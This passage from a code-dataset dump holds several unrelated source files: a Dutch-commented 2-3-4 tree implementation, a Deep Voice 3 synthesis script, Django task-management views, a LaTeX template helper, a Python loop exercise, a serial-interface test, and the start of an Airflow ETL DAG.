self.parent.mright = self.parent.right\n self.parent.right = None\n\n def mergeitemmright(self):\n self.parent.mleft.item2 = self.parent.item2\n self.parent.item2 = None\n self.parent.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.mright = self.parent.right\n self.parent.right = None\n\n def mergeitemright(self):\n self.parent.mright.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.right = None\n\n # dit geld voor alle mergeinternals\n # we schuiven de elemten op om plaats te maken voor de parent elementen\n # we brengen de parent elementen over naar de sibling\n # we zetten het het kind waar de node stond op None\n # (we schuiven de sibling op als we het over een mergeleft hebben)\n # we brengen de kinderen van de node over naar de sibling en verschuiven deze als het nodig is\n # als de parent meerdere items heeft dan schuiven we deze ook op om de juiste structuur te behouden\n\n def mergeInternalLeft(self):\n self.parent.mleft.item2 = self.parent.mleft.item1\n self.parent.mleft.item1 = self.parent.item1\n self.parent.item1 = None\n self.parent.left = self.parent.mleft\n self.parent.mleft = None\n self.parent.left.mright = self.parent.left.mleft\n self.parent.left.mleft = self.parent.left.left\n self.parent.left.left = self.left\n self.left.parent = self.parent.left\n if self.parent.item2 is not None:\n self.parent.item1 = self.parent.item2\n self.parent.item2 = None\n self.parent.mleft = self.parent.mright\n self.parent.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.mright = self.parent.right\n self.parent.right = None\n\n def mergeInternalmleft(self):\n self.parent.left.item2 = self.parent.item1\n self.parent.item1 = None\n self.left.parent = self.parent.left\n self.parent.left.mright = self.left\n self.left = None\n self.parent.mleft = None\n if self.parent.item2 is not None:\n self.parent.item1 = self.parent.item2\n self.parent.item2 = None\n self.parent.mleft = self.parent.mright\n self.parent.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.mright = self.parent.right\n self.parent.right = None\n\n def mergeInternalmright(self):\n self.parent.mleft.item2 = self.parent.item2\n self.parent.item2 = None\n self.left.parent = self.parent.mleft\n self.parent.mleft.mright = self.left\n self.left = None\n self.mright = None\n if self.parent.item3 is not None:\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.parent.mright = self.parent.right\n self.parent.right = None\n\n def mergeInternalright(self):\n self.parent.mright.item2 = self.parent.item2\n self.parent.item2 = self.parent.item3\n self.parent.item3 = None\n self.left.parent = self.parent.mright\n self.parent.mright.mleft = self.left\n self.left = None\n self.parent.right = None\n\n def fixtree(self):\n if self.parent is None and self.left is None and self.item1 is None:\n return True #als er geen tree is om de fix op uittevoeren word er true teruggeven\n if self.parent is None: #als we in de root zitten en het dus over een lege root hebben\n self.item1 = self.left.item1 #we brengen alle items van het linker kind over\n self.left.item1 = None\n if self.left.mleft is not None: #als het kind zelf ook kinderen heeft worden deze ook overgebracht\n self.left.mleft.parent = self\n self.mleft = self.left.mleft\n self.left.mleft = None\n\n if self.left.item2 is not None: #We kijken of het kind meerdere items heeft, zo ja dan voeren we de instructies uit om ze allemaal uit te voeren\n self.item2 = self.left.item2\n self.left.item2 = None\n if self.left.mright is not None:\n self.left.mright.parent = self\n self.mright = self.left.mright\n self.left.mright = None\n\n if self.left.item3 is not None:\n self.item3 = self.left.item3\n self.left.item3 = None\n if self.left.right is not None:\n self.left.right.parent = self\n self.right = self.left.right\n self.left.right = None\n\n if self.left.left is not None:\n self.left.left.parent = self\n temp = self.left\n self.left = self.left.left\n temp.left = None\n temp.parent = None\n del temp\n else:\n self.left = None\n\n else: #als we niet in de root zitten\n\n if self.parent.left is not None and self == self.parent.left and self.parent.mleft.item2 is not None: #als we het over het linker kind hebben en de sibling heeft meerdere items dan zullen we redistributen\n if self.left is None: #of de node kinderen heeft of niet zal ook zeggen of er een internal word uitgevoerd of niet\n self.redistributeleft()\n else:\n self.redistributeInternalleft()\n\n elif self.parent.mleft is not None and self == self.parent.mleft and (self.parent.left.item2 is not None #als we het over het mlinker kind hebben en een sibling heeft meerdere items dan zullen we redistributen\n or (self.parent.mright is not None and\n self.parent.mright.item2\n is not None)):\n if self.left is None: #of de node kinderen heeft of niet zal ook zeggen of er een internal word uitgevoerd of niet\n if self.parent.left.item2 is not None: #we kijken ook welke met welke sibling we kunnen redistributen\n self.redistributemleft(self.parent.left)\n elif self.parent.mright is not None and self.parent.mright.item2 is not None:\n self.redistributemleft(self.parent.mright)\n else:\n if self.parent.left.item2 is not None:\n self.redistributeInternalmleft(self.parent.left)\n elif self.parent.mright is not None and self.parent.mright.item2 is not None:\n self.redistributeInternalmleft(self.parent.mright)\n\n elif self.parent.mright is not None and self == self.parent.mright and (self.parent.mleft.item2 is not None #als we het over het mrechter kind hebben en een sibling heeft meerdere items dan zullen we redistributen\n or (self.parent.right is not None\n and self.parent.right.item2\n is not None)):\n if self.left is None: #of de node kinderen heeft of niet zal ook zeggen of er een internal word uitgevoerd of niet\n if self.parent.mleft is not None: #we kijken ook welke met welke sibling we kunnen redistributen\n self.redistributemright(self.parent.mleft)\n elif self.parent.right is not None and self.parent.right.item2 is not None:\n self.redistributemright(self.parent.right)\n else:\n if self.parent.mleft.item2 is not None:\n self.redistributemright(self.parent.mleft)\n elif self.parent.right is not None and self.parent.right.item2 is not None:\n self.redistributeInternalmright(self.parent.right)\n\n elif self.parent.right is not None and self == self.parent.right and self.parent.mright.item2 is not None: #als we het over het rechter kind hebben en de sibling heeft meerdere items dan zullen we redistributen\n if self.left is None: #of de node kinderen heeft of niet zal ook zeggen of er een internal word uitgevoerd of niet\n self.redistributeright()\n else:\n self.redistributeInternalright()\n else: #als we geen redistrubet kunnen uitvoeren dan gaan we mergen\n if self.parent.left == self: #we kijken met welk kind de node overeenkomt en of ze kinderen heeft om op de juiste plek te mergen of internal te mergen\n if self.left is not None:\n self.mergeInternalLeft()\n else:\n self.mergeitemleft()\n elif self.parent.mleft == self:\n if self.left is not None:\n self.mergeInternalmleft()\n else:\n self.mergeitemmleft()\n elif self.parent.mright == self:\n if self.left is not None:\n self.mergeInternalmright()\n else:\n self.mergeitemmright()\n elif self.parent.right == self:\n if self.left is not None:\n self.mergeInternalright()\n else:\n self.mergeitemmright()\n\n parent = self.parent #we kijken naar de parent\n self.parent = None\n if parent.item1 is None: #als de parent geen items meer heeft dan gaan we de fix op de parent uitvoeren\n parent.fixtree()\n self.left = None # we verwijderen de nu lege node\n del self\n\n\n def T234Delete(self, key):\n if self.item1.key == key: #als het te delete item op de eerste locatie zit dan delete we deze\n if self.left is None: #als er geen kinderen zijn is er geen probleem\n if self.item2 is None: # we kijken hoevelee elementen er na deleteitem komt en schuiven ze op\n self.item1 = None\n elif self.item3 is not None:\n self.item1 = self.item2\n self.item2 = self.item3\n self.item3 = None\n else:\n self.item1 = self.item2\n self.item2 = None\n else: #als er wel kinderen zijn moeten we de inorder succesor vinden\n inordernode = self.inorder1() #we zoeken de inorder succesor\n temp = self.item1 # we swapppen het item\n self.item1 = inordernode.item1\n inordernode.item1 = temp\n inordernode.T234Delete(key) #we delete het item nu in het blad\n #dit herhaalt zich voor de andere items\n\n if self.item1 is None: #als de node hierdoor nu leeg is dan word de boom gehersgtructeerd\n self.fixtree()\n\n elif self.item2 is not None and self.item2.key == key:\n if self.left is None:\n if self.item3 is not None:\n self.item2 = self.item3\n self.item3 = None\n else:\n self.item2 = None\n else:\n inordernode = self.inorder2()\n temp = self.item2\n self.item2 = inordernode.item1\n inordernode.item1 = temp\n inordernode.T234Delete(key)\n\n elif self.item3 is not None and self.item3.key == key:\n if self.left is None:\n self.item3 = None\n else:\n inordernode = self.inorder3()\n temp = self.item2\n self.item2 = inordernode.item1\n inordernode.item1 = temp\n inordernode.T234Delete(key)\n elif key < self.item1.key: # we kijken in welke boom we moeten deleten\n self.left.T234Delete(key)\n\n elif self.item2 is None or key < self.item2.key:\n self.mleft.T234Delete(key)\n\n elif self.item3 is None or key < self.item3.key:\n self.mright.T234Delete(key)\n\n else:\n self.right.T234Delete(key)\n\n def retrieve(self, key):\n if self.item1 is not None and self.item1.key == key: # we kijken of het gewenste item in het blad zit\n return (True, self.item1.item)\n elif self.item2 is not None and self.item2.key == key:\n return (True, self.item2.item)\n elif self.item3 is not None and self.item3.key == key:\n return (True, self.item3.item)\n elif self.left is not None and key < self.item1.key: # zo niet dan gaan we verder in de boom zoeken\n return self.left.retrieve(key)\n\n elif self.mleft is not None and (self.item2 is None or key < self.item2.key):\n return self.mleft.retrieve(key)\n\n elif self.mright is not None and (self.item3 is None or key < self.item3.key):\n return self.mright.retrieve(key)\n\n elif self.right is not None:\n return self.right.retrieve(key)\n\n else:\n return (False, None)\n\n def getRoot(self):\n if self.item1 is None: # we geven de items van de root terug\n return\n elif self.item2 is None:\n return tuple(self.item1)\n elif self.item3 is None:\n return tuple(self.item1, self.item2)\n else:\n return tuple(self.item1, self.item2, self.item3)\n\n def print(self, nummer):\n f = open(nummer, \"w\") #we opennen een nieuwe bestand met als naam de variabele nummer\n f.write(\"digraph 234{\") # we zetten het begin klaar\n f.write(str(\"node [shape=record];\") + '\\n')\n f.write(str(\"edge[splines=\" + \"line\" + \"];\" + '\\n'))\n if not self.isEmpty():\n self.dotread(f)\n f.write(\"}\")\n f.close()\n\n def dotread(self, file):\n if self.item3 is not None: #voor elk item in de node schrijven we waar het staat met de left middle right\n file.write(str(self.item1.key) + str(\"[label=\" + '\"' + \" \" + str(self.item1.key) +\n \"| \" + str(self.item2.key) + \"| \" + str(self.item3.key) +\n '\"' + \"];\") + '\\n')\n elif self.item2 is not None:\n file.write(str(self.item1.key) + str(\"[label=\" + '\"' + \" \" + str(self.item1.key) +\n \"| \" + str(self.item2.key) + '\"' + \"];\") + '\\n')\n elif self.item1 is not None:\n file.write(str(self.item1.key) + str(\"[label=\" + '\"' + \" \" + str(self.item1.key) + '\"' + \"];\") + '\\n')\n else:\n return\n\n if self.left is not None: # voor elke connectie word er een -> tussen de nodes gezet\n self.left.dotread(file)\n file.write(str(self.item1.key) + \" -> \" + str(self.left.item1.key) + \";\" + '\\n')\n\n if self.mleft is not None:\n self.mleft.dotread(file)\n file.write(str(self.item1.key) + \" -> \" + str(self.mleft.item1.key) + \";\" + '\\n')\n\n if self.mright is not None:\n self.mright.dotread(file)\n file.write(str(self.item1.key) + \" -> \" + str(self.mright.item1.key) + \";\" + '\\n')\n\n if self.right is not None:\n self.right.dotread(file)\n file.write(str(self.item1.key) + \"-> \" + str(self.right.item1.key) + \";\" + '\\n')\n\n def destroySearchtree(self):\n if self.left is not None: # we gaan elk kind van de boom af en maken de nodes ervan kapot\n self.left.destroySearchtree()\n\n if self.mleft is not None:\n self.mleft.destroySearchtree()\n\n if self.mright is not None:\n self.mright.destroySearchtree()\n\n if self.right is not None:\n self.right.destroySearchtree()\n\n return self.destroyNode()\n\n def traverse(self, visit, key=None):\n self.inorderTraversal(visit, key)\n\n def inorderTraversal(self, visit, key=None):\n if self.left is not None: #gaat de boom in een inorder manier af en past de functie erop toe\n self.left.inorderTraversal(visit, key)\n if self.item1 is not None:\n visit(self.item1.item, key)\n if self.mleft is not None:\n self.mleft.inorderTraversal(visit, key)\n if self.item2 is not None:\n visit(self.item2.item, key)\n if self.mright is not None:\n self.mright.inorderTraversal(visit, key)\n if self.item3 is not None:\n visit(self.item3.item, key)\n if self.right is not None:\n self.right.inorderTraversal(visit, key)\n\n def preorderTraversal(self, visit, key=None):\n if self.item1 is not None: #gaat de boom in een preorder manier af en past de functie erop toe\n visit(self.item1.item, key)\n if self.left is not None:\n self.left.preorderTraversal(visit, key)\n if self.mleft is not None:\n self.mleft.preorderTraversal(visit, key)\n if self.item2 is not None:\n visit(self.item2.item, key)\n if self.mright is not None:\n self.mright.preorderTraversal(visit, key)\n if self.item3 is not None:\n visit(self.item3.item, key)\n if self.right is not None:\n self.right.preoderTraversal(visit, key)\n\n def postorderTraversal(self, visit, key=None):\n if self.left is not None: #gaat de boom in een postorder manier af en past de functie erop toe\n self.left.postorderTraversal(visit, key)\n if self.mleft is not None:\n self.mleft.postorderTraversal(visit, key)\n if self.mright is not None:\n self.mright.postorderTraversal(visit, key)\n if self.right is not None:\n self.right.postorderTraversal(visit, key)\n if self.item3 is not None:\n visit(self.item3.item, key)\n if self.item2 is not None:\n visit(self.item2.item, key)\n if self.item1 is not None:\n visit(self.item1.item, key)\n\n def getIndex(self, index):\n temp = index\n if self.item1 is not None: # als er een item op 1 staat en de index is niet 0 dan gaat er 1 van de index af\n if index == 0:\n return (self.item1, index)\n temp = index - 1\n if self.item2 is not None: # als er een item op 2 staat en de index is niet 0 dan gaat er 1 van de index af\n if index == 1:\n return (self.item2, index)\n temp -= 1\n if self.item3 is not None: # als er een item op 3 staat en de index is niet 0 dan gaat er 1 van de index af\n if index == 2:\n return (self.item3, index)\n temp -= 1\n index = temp #als het item nog niet gevonden is dan zal de index aangepas worden\n if self.left != None:\n returned = self.left.getIndex(index) # we gaan naar het linkerkind\n index = returned[1] #de index word aangepast naar het aantal elementen dat in de linker boom doorlopen zijn\n if returned[0] != None: #als er iets staat op de 1ste plek van het tuple dan hebben we onze waarde gevonden\n return returned\n if self.mleft != None:\n returned = self.mleft.getIndex(index)\n index = returned[1]\n if returned[0] != None:\n return returned\n if self.mright != None:\n returned = self.mright.getIndex(index)\n index = returned[1]\n if returned[0] != None:\n return returned\n if self.right != None:\n returned = self.right.getIndex(index)\n index = returned[1]\n if returned[0] != None:\n return returned\n return (None, index) #als we niets hebben gevonden word er None terug gegeven en de index\n\n def size(self):\n size = 0 # we zetten de size op 0 om te beginnen\n if self.item3 is not None: # als we een 3de item is dan zetten we de size op 3\n size = 3\n elif self.item2 is not None: #als we een 2de item is dan zetten we de size op 2\n size = 2\n elif self.item1 is not None: #als we een 1ste item is dan zetten we de size op 1\n size = 1\n if self.left is not None: # we tellen de groote van alle bomen bij de size op\n size += self.left.size()\n if self.mleft is not None:\n size += self.mleft.size()\n if self.mright is not None:\n size += self.mright.size()\n if self.right is not None:\n size += self.right.size()\n return size\n\n\ndef createSearchTree():\n return T234(None, None, None, None, None, None, None, None)\n","sub_path":"Opdracht 7/Tim/T234.py","file_name":"T234.py","file_ext":"py","file_size_in_byte":45006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"386672924","text":"# coding: utf-8\n\"\"\"\nSynthesis waveform from trained model.\n\nusage: synthesis.py [options] \n\noptions:\n --hparams= Hyper parameters [default: ].\n --file-name-suffix= File name suffix [default: ].\n --max-decoder-steps= Max decoder steps [default: 500].\n -h, --help Show help message.\n\"\"\"\nfrom docopt import docopt\n\nimport sys\nimport os\nfrom os.path import dirname, join\n\nimport audio\nfrom train import plot_alignment\n\nimport torch\nfrom torch.autograd import Variable\nimport numpy as np\nimport nltk\n\n# The deepvoice3 model\nfrom deepvoice3_pytorch import frontend, build_deepvoice3\nfrom hparams import hparams\n\nfrom tqdm import tqdm\n\nuse_cuda = torch.cuda.is_available()\n_frontend = None # to be set later\n\n\ndef tts(model, text, p=0):\n \"\"\"Convert text to speech waveform given a deepvoice3 model.\n \"\"\"\n if use_cuda:\n model = model.cuda()\n model.eval()\n\n sequence = np.array(_frontend.text_to_sequence(text, p=p))\n sequence = Variable(torch.from_numpy(sequence)).unsqueeze(0)\n text_positions = torch.arange(1, sequence.size(-1) + 1).unsqueeze(0).long()\n text_positions = Variable(text_positions)\n if use_cuda:\n sequence = sequence.cuda()\n text_positions = text_positions.cuda()\n\n # Greedy decoding\n mel_outputs, linear_outputs, alignments, done = model(\n sequence, text_positions=text_positions)\n\n linear_output = linear_outputs[0].cpu().data.numpy()\n spectrogram = audio._denormalize(linear_output)\n alignment = alignments[0].cpu().data.numpy()\n mel = mel_outputs[0].cpu().data.numpy()\n\n # Predicted audio signal\n waveform = audio.inv_spectrogram(linear_output.T)\n\n return waveform, alignment, spectrogram, mel\n\n\nif __name__ == \"__main__\":\n args = docopt(__doc__)\n print(\"Command line args:\\n\", args)\n checkpoint_path = args[\"\"]\n text_list_file_path = args[\"\"]\n dst_dir = args[\"\"]\n max_decoder_steps = int(args[\"--max-decoder-steps\"])\n file_name_suffix = args[\"--file-name-suffix\"]\n\n # Override hyper parameters\n hparams.parse(args[\"--hparams\"])\n assert hparams.name == \"deepvoice3\"\n\n _frontend = getattr(frontend, hparams.frontend)\n\n # Model\n model = build_deepvoice3(n_vocab=_frontend.n_vocab,\n embed_dim=256,\n mel_dim=hparams.num_mels,\n linear_dim=hparams.num_freq,\n r=hparams.outputs_per_step,\n padding_idx=hparams.padding_idx,\n dropout=hparams.dropout,\n kernel_size=hparams.kernel_size,\n encoder_channels=hparams.encoder_channels,\n decoder_channels=hparams.decoder_channels,\n converter_channels=hparams.converter_channels,\n )\n\n checkpoint = torch.load(checkpoint_path)\n model.load_state_dict(checkpoint[\"state_dict\"])\n model.decoder.max_decoder_steps = max_decoder_steps\n model.make_generation_fast_()\n\n os.makedirs(dst_dir, exist_ok=True)\n\n with open(text_list_file_path, \"rb\") as f:\n lines = f.readlines()\n for idx, line in enumerate(lines):\n text = line.decode(\"utf-8\")[:-1]\n words = nltk.word_tokenize(text)\n # print(\"{}: {} ({} chars, {} words)\".format(idx, text, len(text), len(words)))\n waveform, alignment, _, _ = tts(model, text)\n dst_wav_path = join(dst_dir, \"{}{}.wav\".format(idx, file_name_suffix))\n dst_alignment_path = join(dst_dir, \"{}{}_alignment.png\".format(idx, file_name_suffix))\n plot_alignment(alignment.T, dst_alignment_path,\n info=\"deepvoice3, {}\".format(checkpoint_path))\n audio.save_wav(waveform, dst_wav_path)\n from os.path import basename, splitext\n name = splitext(basename(text_list_file_path))[0]\n print(\"\"\"\n{}\n\n({} chars, {} words)\n\n\n\n
\n \"\"\".format(text, len(text), len(words),\n name, idx, file_name_suffix,\n name, idx, file_name_suffix))\n\n print(\"Finished! Check out {} for generated audio samples.\".format(dst_dir))\n sys.exit(0)\n","sub_path":"synthesis.py","file_name":"synthesis.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319063816","text":"from django.shortcuts import render, redirect \nfrom .models import *\nfrom .forms import *\nfrom configuracao.models import Horario\nfrom coordenadores.models import Coordenador\nfrom utilizadores.models import ProfessorUniversitario\nfrom configuracao.models import Diaaberto, Horario, Campus, Edificio, Espaco\nfrom django.http import HttpResponseRedirect\nfrom datetime import datetime, date,timezone\nfrom _datetime import timedelta\nfrom django.db.models import Q\nfrom coordenadores.forms import *\n\n# Create your views here.\ndef adicionartarefa(request, id = None):\n tarefa = Tarefa()\n if id is not None:\n tarefa=Tarefa.objects.get(id=id)\n form_tarefa=TarefaForm(instance=tarefa)\n if request.method == 'POST':\n form_tarefa=TarefaForm(request.POST, instance=tarefa)\n if form_tarefa.is_valid():\n form_tarefa.save()\n if request.POST['tipo'] == 'tarefaAuxiliar': \n auxiliar_form = TarefaAuxiliarForm(request.POST,instance=TarefaAuxiliar(tarefaid=form_tarefa.instance))\n if auxiliar_form.is_valid():\n auxiliar_form.save()\n return redirect('consultarTarefa') \n elif request.POST['tipo'] == 'tarefaOutra': \n outra_form = TarefaOutraForm(request.POST,instance=TarefaOutra(tarefaid=form_tarefa.instance)) \n if outra_form.is_valid():\n outra_form.save()\n return redirect('consultarTarefa') \n else:\n form_tarefa.instance.delete() \n return render(request=request,\n template_name='coordenadores/criarTarefa.html',\n context={'formTarefa':form_tarefa}\n )\n\ndef tarefaAuxiliar(request,id):\n atividade=Atividade.objects.get(id=request.POST['atividades'])\n nome='Auxiliar na atividade ' + str(atividade.nome)\n sessaoid=Sessao.objects.get(id=int(request.POST['sessoes']))\n colaborador=Colaborador.objects.get(utilizadorid=request.POST['colaborador'])\n return TarefaAuxiliar(tarefaid=id,sessaoid=sessaoid)\n\ndef tipoTarefa(request):\n if request.method == 'POST':\n tipo = request.POST['tipo']\n if tipo == 'tarefaAuxiliar':\n form = TarefaAuxiliarForm()\n template = 'coordenadores/tarefaAuxiliar.html'\n elif tipo == 'tarefaAcompanhar':\n form = TarefaAcompanharForm()\n template = 'coordenadores/tarefaAcompanhar.html'\n elif tipo == 'tarefaOutra': \n form = TarefaOutraForm()\n template = 'coordenadores/tarefaOutra.html'\n return render(request=request,template_name=template,context={'form':form})\n\ndef sessoesAtividade(request):\n dia = request.POST['dia']\n sessoes = Sessao.objects.filter(dia=dia)\n default = {\n 'key': '',\n 'value': 'Escolha a sessão'\n }\n options = [{\n 'key':\tstr(sessao.id),\n 'value':\tstr(sessao.horarioid.inicio) + ' até ' + str(sessao.horarioid.fim)\n } for sessao in sessoes\n ]\n return render(request=request,\n template_name='configuracao/dropdown.html',\n context={'options': options, 'default': default}\n )\n\ndef colaboradoresAtividade(request):\n sessao = request.POST['sessao']\n colabs = Colaborador.objects.all()\n default = {\n 'key': '',\n 'value': 'Escolha o colaborador'\n }\n \n options = [{\n 'key':\tstr(colab.utilizadorid.id),\n 'value':\tstr(colab)\n } for colab in colabs\n ]\n\n return render(request=request,\n template_name='configuracao/dropdown.html',\n context={'options':options, 'default': default}\n )\n\ndef diasAtividade(request):\n default = {\n 'key': '',\n 'value': 'Escolha o dia'\n }\n dias=[]\n if request.POST['atividadeid'] != '':\n atividadeid = request.POST.get('atividadeid')\n atividade = Atividade.objects.get(id=atividadeid) \n dias = atividade.get_dias()\n print(default) \n return render(request=request,\n template_name='configuracao/dropdown.html',\n context={'options':dias, 'default': default}\n )\n\ndef filters(request):\n filters=[]\n if request.POST.get('Concluida'):\n filters.append('Concluida')\n else:\n filters.append('')\n\n if request.POST.get('naoConcluida'):\n filters.append('naoConcluida')\n else:\n filters.append('')\n\n if request.POST.get('naoAtribuida'):\n filters.append('naoAtribuida')\n else:\n filters.append('')\n return filters\n\ndef consultartarefa(request):\n tarefas=Tarefa.objects.all()\n tarefasacompanhar= TarefaAcompanhar.objects.all()\n tarefasauxiliar= TarefaAuxiliar.objects.all()\n colaboradores= Colaborador.objects.all()\n tarefasoutra= TarefaOutra.objects.all()\n if request.method == 'POST' or request.GET.get('searchTarefa'):\n form_tarefa=TarefaForm(request.POST)\n today=datetime.now(timezone.utc)\n diaAberto=Diaaberto.objects.filter(datadiaabertofim__gte=today).first()\n filterForm=tarefaFilterForm(request.POST)\n nome=str(request.POST.get('searchTarefa'))\n tarefas=tarefas.filter(Q(nome__icontains=nome) | Q(colab__utilizadorid__nome__icontains=nome))\n tipo=str(request.POST.get('tipo'))\n if tipo != ' ' and tipo != 'None':\n tarefas=tarefas.filter(tipo=tipo)\n if request.POST.get('Concluida') or request.POST.get('naoConcluida') or request.POST.get('naoAtribuida'):\n print('estado')\n filter=filters(request)\n tarefas=tarefas.filter(Q(estado=filter[0]) | Q(estado=filter[1]) | Q(estado=filter[2]))\n else:\n form_tarefa= TarefaForm()\n filterForm=tarefaFilterForm()\n\n return render(request=request,\n\t\t\t template_name=\"coordenadores/consultartarefa.html\",\n context={\"tarefas\": tarefas,\"tarefasauxiliar\": tarefasauxiliar,\"tarefasacompanhar\": tarefasacompanhar,\"tarefasoutra\": tarefasoutra,\"filter\":filterForm, \"formtarefa\":form_tarefa, \"colaboradores\": colaboradores}\n )\n\ndef eliminartarefa(request,id):\n Tarefa.objects.get(id=id).delete()\n return redirect('consultarTarefa')\n\n\ndef atribuircolaborador(request,tarefa):\n tarefa= Tarefa.objects.get(id=tarefa)\n colaborador= Colaborador.objects.get(utilizadorid=request.POST['colab'])\n tarefa.estado= \"naoConcluida\"\n tarefa.colab= colaborador\n tarefa.save()\n return redirect('consultarTarefa')\n\n","sub_path":"coordenadores/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"252634390","text":"class TexFile:\n\t\"\"\"Represents a body of .tex template. Can change its\n\tparameters and gives you body for captions and formulas.\n\n\tList of parameters:\n\t\tsans_font: Set sans font of the document.\n\t\troman_font, mono_font: The same.\n\t\tpre_packages: These packages will be included into preamble at its\n\t\t\tbeginning. Is array.\n\t\tpost_packages: Packages to place at the end of preamble. Is array.\n\n\tTo change or unset these parameters use unset_prop() and set_prop() methods.\n\tIf parameter is array, just use append_prop().\n\n\t\"\"\"\n\n\tdef __init__(self, file_address):\n\t\tself.origin_body = open(file_address).read()\n\t\tself.templated_body = None\n\t\tself.state = {\n\t\t\t\"sans_font\": False,\n\t\t\t\"roman_font\": False,\n\t\t\t\"mono_font\": False,\n\t\t\t\"pre_packages\": [],\n\t\t\t\"post_packages\": []\n\t\t}\n\t\tself.is_formula = False\n\n\tdef unset_prop(self, name: str):\n\t\t# I think no need to catch exception here\n\t\tself.state[name] = (\n\t\t\t[]\n\t\t\tif isinstance(self.state[name], list)\n\t\t\telse False\n\t\t)\n\n\tdef set_prop(self, name: str, value):\n\t\tself.state[name] = value\n\n\tdef append_prop(self, name: str, value):\n\t\t\"\"\"Use this method instead of set_prop if the parameter is an array.\n\t\t\"\"\"\n\t\tself.state[name].append(value)\n\n\tdef reapply_templates(self):\n\t\t\"\"\"Remember body with applied parameters. This function can be called\n\t\tif they was changed.\n\t\t\"\"\"\n\n\t\tself.templated_body = str(self.origin_body)\n\n\t\tfor label, value in self.state.items():\n\n\t\t\tif not value:\n\t\t\t\tcontinue\n\n\t\t\treplace_by = \"\"\n\n\t\t\tif label == \"sans_font\":\n\t\t\t\treplace_by = (\n\t\t\t\t\t\"\\\\setsansfont[Mapping=tex-text]{%s}\" % value\n\t\t\t\t)\n\t\t\telif label == \"roman_font\":\n\t\t\t\treplace_by = (\n\t\t\t\t\t\"\\\\setromanfont[Mapping=tex-text]{%s}\" % value\n\t\t\t\t)\n\t\t\telif label == \"mono_font\":\n\t\t\t\treplace_by = (\n\t\t\t\t\t\"\\\\setmonofont[Mapping=tex-text]{%s}\" % value\n\t\t\t\t)\n\t\t\telif label in [\"pre_packages\", \"post_packages\"]:\n\t\t\t\treplace_by = \"\\n\".join([\n\t\t\t\t\t\"\\\\usepackage{%s}\" % package\n\t\t\t\t\tfor package in value\n\t\t\t\t])\n\n\t\t\tself.templated_body = self.templated_body.replace(\n\t\t\t\t\"%%!template:%s\" % label, replace_by\n\t\t\t)\n\n\tdef get_body(self, caption: str) -> str:\n\t\treturn self.templated_body.replace(\n\t\t\t\"%!template:content\", caption)\n\n\tdef get_aligned_body(self, formula: str) -> str:\n\t\treturn self.templated_body.replace(\n\t\t\t\"%!template:content\",\n\t\t\t\"\\\\begin{align*}\\n%s\\n\\\\end{align*}\" % formula\n\t\t)\n\n\tdef configurate(self, config):\n\t\t\"\"\"Set self.state to configs given in `config`.\n\t\t\"\"\"\n\t\tfor key in self.state.keys():\n\t\t\tif key in config:\n\t\t\t\tself.state[key] = config[key] or False\n\t\tself.reapply_templates()\n","sub_path":"manimlib/utils/tex_preparing.py","file_name":"tex_preparing.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"111936389","text":"'''\n\nUsado quando não sabemos a quantidade de passos\n\nenquanto não algo\n passo\npega\n\nwhile nao algo\n passo\npega\n\nhttps://note.nkmk.me/en/python-multi-variables-values/\n\n'''\n\nfor i in range(1,10):\n print(i)\nprint('Fim')\n\nj=1\nwhile j<10:\n print(j)\n j+=1\nprint('Fim')\n\na='S'\nwhile a=='S':\n a1=int(input('Digite um valor: '))\n a=str(input('Deseja continuar? [S/N]')).upper()\nprint('Fim')\n\nb = 1\npar = impar = 0\nwhile b!=0:\n b=int(input('Digite um numero: '))\n if b%2==0:\n par=+1\n else:\n impar=+1\nprint('Numeros pares digitado: {} - Numeros impares digitados: {}'.format(par,impar))","sub_path":"study/curso-em-video/09 - Laço de Repetição while.py","file_name":"09 - Laço de Repetição while.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"229825954","text":"'''\nTest TMCL GET_FIRMWARE_VERSION via RS232 interface and module ID 1.\n\nCreated on 02.11.2020\n\n@author: LK\n'''\n\nfrom PyTrinamicMicro.platforms.motionpy.connections.rs232_tmcl_interface import rs232_tmcl_interface\nimport logging\nimport re\n\nVERSION_PATTERN = \"^\\d\\d\\d\\dV\\d\\d\\d$\"\n\nlogger = logging.getLogger(__name__)\nlogger.info(\"Test interface RS232\")\n\nlogger.info(\"Initializing interface.\")\ninterface = rs232_tmcl_interface()\n\nlogger.info(\"Issuing GET_FIRMWARE_VERSION.\")\nvalue = interface.getVersionString()\nlogger.info(\"Value: {}.\".format(value))\n\nassert re.match(VERSION_PATTERN, value), \"Invalid version string\"\nlogger.info(\"Version string valid\")\n","sub_path":"PyTrinamicMicro/platforms/motionpy/tests/interfaces/rs232_version.py","file_name":"rs232_version.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"37892733","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom operators.oracle_to_postgres import OracleToPostgresOperator\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.hooks.oracle_hook import OracleHook\nfrom airflow.models import Variable\nfrom datetime import datetime, timedelta\nfrom psycopg2.extras import DictCursor, execute_values\n\nimport logging\n\n\ndefault_args = {\n 'owner': 'airflow',\n 'wait_for_downstream': True,\n 'depends_on_past': True,\n 'start_date': datetime(2020, 4, 1, 0, 0, 0),\n 'retries': 0\n}\n\n\ndef generate_query():\n \"\"\"Выполняет генерацию запроса для обновления основных таблиц из stage-таблиц\"\"\"\n with tgt_conn.cursor(cursor_factory=DictCursor) as 